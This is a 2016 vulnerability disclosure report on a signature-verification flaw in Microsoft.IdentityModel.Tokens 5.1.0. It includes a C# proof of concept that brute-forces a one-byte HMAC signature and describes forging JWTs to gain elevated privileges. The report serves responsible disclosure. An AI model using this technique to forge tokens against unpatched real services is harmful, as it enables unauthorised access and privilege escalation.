Security vulnerability report

Researchers:

Pirozhkov Viktor pirozhkov.v@spb.helix.ru

Stefurishin Alexander stefurishin.a@spb.helix.ru

December 08, 2016

Type of issue

Error in signature verification algorithm which significantly reduces the time needed for an attacker to find the verifiable signature for a message body.

Product and version that contains the bug

```
Type: Microsoft.IdentityModel.Tokens.SymmetricSignatureProvider
Assembly: Microsoft.IdentityModel.Tokens, Version=5.1.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35
MVID: F6FFACE3-9B22-4C07-9207-C34F8D556585
```

Step-by-step instructions to reproduce the issue on a fresh install

1. Install .NET Core 1.1 SDK ("Current" release as of the current paper date)
2. Run proof-of-concept code using `dotnet restore` and `dotnet run` commands in the folder with `Program.cs` and `project.json` files (see files content below).

Proof-of-concept or exploit code

Program.cs:

```
using System;
using System.Text;
using Microsoft.IdentityModel.Tokens;

namespace ConsoleApp1
{
    public class Program
    {
        public static void Main(string[] args)
        {
            var key = new SymmetricSecurityKey(
Encoding.ASCII.GetBytes("58336DB0-35FB-4D69-BC65-18C525CB3037"));
            var sigProvider = key.CryptoProviderFactory.CreateForVerifying(key, "HS256");
            var bodyBytes = Encoding.UTF8.GetBytes("superuser");
            for (byte i = 0; i < byte.MaxValue; i++)
            {
                var valid = sigProvider.Verify(bodyBytes, new byte[] { i });
                if (valid)
                    throw new Exception("signature falsified, attempt=" + i);
            }
            Console.WriteLine("not reproduced");
            Console.ReadLine();
        }
    }

}
```

`project.json`:

```
{
  "version": "1.0.0-*",
  "buildOptions": {
    "emitEntryPoint": true
  },

  "dependencies": {
    "Microsoft.NETCore.App": {
      "version": "1.0.1",
      "type": "platform"
    },
    "Microsoft.IdentityModel.Tokens": "5.1.0"
  },

  "frameworks": {
    "netcoreapp1.0": {
      "imports": "dnxcore50"
    }
  }
}
```

Expected result: print *“not reproduced”* string to an output.

Actual result: application crash with a message *“Unhandled Exception: System.Exception: signature falsified, attempt=166 […] at ConsoleApp1.Program.Main(String[] args)”* in error output

Additional comment. Our research of *Verify* method showed that byte arrays matching is not performed correctly and body bytes with index which exceeds the length of signature are not used for comparison.

Impact of the issue, including how an attacker could exploit the issue

An example of vulnerability exploit that was developed during the research lead to JWT token falsification and API client privilege elevation. The standard `JwtBearerMiddleware` from `Microsoft.AspNetCore.Authentication.JwtBearer` package of version `1.1.0` was used. Since the JWT token body message is Base64-encrypted, it can be easily falsified by an attacker because signature verification algorithm is not safe. The easiest way to falsify signature is reducing its size to just two symbols and brute-forcing all possible variants.

Issue **<u>was not</u>** reproduced with the package `Microsoft.IdentityModel.Tokens` package of version `5.0.0`

Possible impact of the issue is significant and can lead to a multiple security issues in a software which internally uses the new version of `Microsoft.IdentityModel.Tokens.SymmetricSignatureProvider` class to verify signatures of incoming tokens.